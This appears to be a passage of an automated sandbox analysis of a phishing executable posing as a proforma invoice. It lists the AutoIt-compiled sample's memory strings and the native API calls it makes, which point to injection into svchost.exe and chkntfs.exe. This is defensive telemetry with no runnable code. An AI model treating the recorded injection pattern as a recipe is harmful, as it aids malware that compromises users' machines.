memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_fb249eb4-3
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ef82e33c-c
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_27d71905-3

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0069C973 NtClose,	2_2_0069C973
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272B60 NtClose,LdrInitializeThunk,	2_2_03272B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03272DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_03272C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032735C0 NtCreateMutant,LdrInitializeThunk,	2_2_032735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03274340 NtSetContextThread,	2_2_03274340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03274650 NtSuspendThread,	2_2_03274650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272BA0 NtEnumerateValueKey,	2_2_03272BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272B80 NtQueryInformationFile,	2_2_03272B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272BE0 NtQueryValueKey,	2_2_03272BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272BF0 NtAllocateVirtualMemory,	2_2_03272BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272AB0 NtWaitForSingleObject,	2_2_03272AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272AF0 NtWriteFile,	2_2_03272AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272AD0 NtReadFile,	2_2_03272AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272F30 NtCreateSection,	2_2_03272F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272F60 NtCreateProcessEx,	2_2_03272F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272FA0 NtQuerySection,	2_2_03272FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272FB0 NtResumeThread,	2_2_03272FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272F90 NtProtectVirtualMemory,	2_2_03272F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272FE0 NtCreateFile,	2_2_03272FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272E30 NtWriteVirtualMemory,	2_2_03272E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272EA0 NtAdjustPrivilegesToken,	2_2_03272EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272E80 NtReadVirtualMemory,	2_2_03272E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272EE0 NtQueueApcThread,	2_2_03272EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272D30 NtUnmapViewOfSection,	2_2_03272D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272D00 NtSetInformationFile,	2_2_03272D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272D10 NtMapViewOfSection,	2_2_03272D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272DB0 NtEnumerateKey,	2_2_03272DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272DD0 NtDelayExecution,	2_2_03272DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272C00 NtQueryInformationProcess,	2_2_03272C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272C60 NtCreateKey,	2_2_03272C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272CA0 NtQueryInformationToken,	2_2_03272CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272CF0 NtOpenProcess,	2_2_03272CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272CC0 NtQueryVirtualMemory,	2_2_03272CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03273010 NtOpenDirectoryObject,	2_2_03273010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03273090 NtSetValueKey,	2_2_03273090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032739B0 NtGetContextThread,	2_2_032739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03273D10 NtOpenProcessToken,	2_2_03273D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03273D70 NtOpenThread,	2_2_03273D70
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04404650 NtSuspendThread,LdrInitializeThunk,	4_2_04404650
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04404340 NtSetContextThread,LdrInitializeThunk,	4_2_04404340
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402C60 NtCreateKey,LdrInitializeThunk,	4_2_04402C60
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_04402C70
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402CA0 NtQueryInformationToken,LdrInitializeThunk,	4_2_04402CA0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402D10 NtMapViewOfSection,LdrInitializeThunk,	4_2_04402D10
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402D30 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_04402D30
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402DD0 NtDelayExecution,LdrInitializeThunk,	4_2_04402DD0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_04402DF0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402EE0 NtQueueApcThread,LdrInitializeThunk,	4_2_04402EE0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402E80 NtReadVirtualMemory,LdrInitializeThunk,	4_2_04402E80
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402F30 NtCreateSection,LdrInitializeThunk,	4_2_04402F30
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402FE0 NtCreateFile,LdrInitializeThunk,	4_2_04402FE0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402FB0 NtResumeThread,LdrInitializeThunk,	4_2_04402FB0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402AD0 NtReadFile,LdrInitializeThunk,	4_2_04402AD0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402AF0 NtWriteFile,LdrInitializeThunk,	4_2_04402AF0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402B60 NtClose,LdrInitializeThunk,	4_2_04402B60
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402BE0 NtQueryValueKey,LdrInitializeThunk,	4_2_04402BE0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	4_2_04402BF0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402BA0 NtEnumerateValueKey,LdrInitializeThunk,	4_2_04402BA0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_044035C0 NtCreateMutant,LdrInitializeThunk,	4_2_044035C0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_044039B0 NtGetContextThread,LdrInitializeThunk,	4_2_044039B0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402C00 NtQueryInformationProcess,	4_2_04402C00
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402CC0 NtQueryVirtualMemory,	4_2_04402CC0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402CF0 NtOpenProcess,	4_2_04402CF0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402D00 NtSetInformationFile,	4_2_04402D00
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402DB0 NtEnumerateKey,	4_2_04402DB0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402E30 NtWriteVirtualMemory,	4_2_04402E30
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402EA0 NtAdjustPrivilegesToken,	4_2_04402EA0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402F60 NtCreateProcessEx,	4_2_04402F60
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402F90 NtProtectVirtualMemory,	4_2_04402F90
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402FA0 NtQuerySection,	4_2_04402FA0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402AB0 NtWaitForSingleObject,	4_2_04402AB0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04402B80 NtQueryInformationFile,	4_2_04402B80
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04403010 NtOpenDirectoryObject,	4_2_04403010
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04403090 NtSetValueKey,	4_2_04403090
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04403D70 NtOpenThread,	4_2_04403D70
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04403D10 NtOpenProcessToken,	4_2_04403D10
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001C9270 NtCreateFile,	4_2_001C9270
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001C93E0 NtReadFile,	4_2_001C93E0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001C94D0 NtDeleteFile,	4_2_001C94D0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001C9570 NtClose,	4_2_001C9570
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001C96D0 NtAllocateVirtualMemory,	4_2_001C96D0

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_0048D5EB: CreateFileW,DeviceIoControl,CloseHandle,

0_2_0048D5EB

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_00481201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00481201

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_0048E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_0048E8F6

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0042BF40	0_2_0042BF40
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00492046	0_2_00492046
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00428060	0_2_00428060
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00488298	0_2_00488298
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0045E4FF	0_2_0045E4FF
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0045676B	0_2_0045676B
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_004B4873	0_2_004B4873
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0042CAF0	0_2_0042CAF0
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0044CAA0	0_2_0044CAA0
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0043CC39	0_2_0043CC39
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00456DD9	0_2_00456DD9
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0043B119	0_2_0043B119
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_004291C0	0_2_004291C0
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00441394	0_2_00441394
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00441706	0_2_00441706
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0044781B	0_2_0044781B
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0043997D	0_2_0043997D
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00427920	0_2_00427920
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_004419B0	0_2_004419B0
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00447A4A	0_2_00447A4A
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00441C77	0_2_00441C77
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00447CA7	0_2_00447CA7
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_004ABE44	0_2_004ABE44
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00459EEE	0_2_00459EEE
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00441F32	0_2_00441F32
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_017635E0	0_2_017635E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_006888D3	2_2_006888D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00672820	2_2_00672820
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00671160	2_2_00671160
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0068010D	2_2_0068010D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00680113	2_2_00680113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00673190	2_2_00673190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00686A6D	2_2_00686A6D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00686AAF	2_2_00686AAF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00686AB3	2_2_00686AB3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00680333	2_2_00680333
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0067E3B3	2_2_0067E3B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0067E3B1	2_2_0067E3B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00672C44	2_2_00672C44
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00672C50	2_2_00672C50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_006724A0	2_2_006724A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0069EFD3	2_2_0069EFD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FA352	2_2_032FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E3F0	2_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_033003E6	2_2_033003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C02C0	2_2_032C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230100	2_2_03230100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DA118	2_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C8158	2_2_032C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F41A2	2_2_032F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_033001AA	2_2_033001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F81CC	2_2_032F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03264750	2_2_03264750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323C7C0	2_2_0323C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325C6E0	2_2_0325C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03300591	2_2_03300591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E4420	2_2_032E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F2446	2_2_032F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EE4F6	2_2_032EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FAB40	2_2_032FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F6BD7	2_2_032F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03256962	2_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0330A9A6	2_2_0330A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324A840	2_2_0324A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03242840	2_2_03242840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032268B8	2_2_032268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E8F0	2_2_0326E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03282F28	2_2_03282F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03260F30	2_2_03260F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E2F30	2_2_032E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B4F40	2_2_032B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BEFA0	2_2_032BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324CFE0	2_2_0324CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03232FC8	2_2_03232FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FEE26	2_2_032FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240E59	2_2_03240E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252E90	2_2_03252E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FCE93	2_2_032FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FEEDB	2_2_032FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324AD00	2_2_0324AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DCD1F	2_2_032DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03258DBF	2_2_03258DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323ADE0	2_2_0323ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240C00	2_2_03240C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0CB5	2_2_032E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230CF2	2_2_03230CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F132D	2_2_032F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322D34C	2_2_0322D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0328739A	2_2_0328739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032452A0	2_2_032452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E12ED	2_2_032E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325B2C0	2_2_0325B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0327516C	2_2_0327516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322F172	2_2_0322F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0330B16B	2_2_0330B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324B1B0	2_2_0324B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F70E9	2_2_032F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FF0E0	2_2_032FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EF0CC	2_2_032EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032470C0	2_2_032470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FF7B0	2_2_032FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03285630	2_2_03285630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F16CC	2_2_032F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F7571	2_2_032F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DD5B0	2_2_032DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_033095C3	2_2_033095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FF43F	2_2_032FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03231460	2_2_03231460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FFB76	2_2_032FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325FB80	2_2_0325FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B5BF0	2_2_032B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0327DBF9	2_2_0327DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B3A6C	2_2_032B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FFA49	2_2_032FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F7A46	2_2_032F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DDAAC	2_2_032DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03285AA0	2_2_03285AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E1AA3	2_2_032E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EDAC6	2_2_032EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D5910	2_2_032D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03249950	2_2_03249950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325B950	2_2_0325B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AD800	2_2_032AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032438E0	2_2_032438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FFF09	2_2_032FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FFFB1	2_2_032FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03241F92	2_2_03241F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03203FD2	2_2_03203FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03203FD5	2_2_03203FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03249EB0	2_2_03249EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F7D73	2_2_032F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03243D40	2_2_03243D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F1D5A	2_2_032F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325FDC0	2_2_0325FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B9C32	2_2_032B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FFCF2	2_2_032FFCF2
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C7EFF4	3_2_03C7EFF4
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C7EFFA	3_2_03C7EFFA
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C7D29A	3_2_03C7D29A
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C7D298	3_2_03C7D298
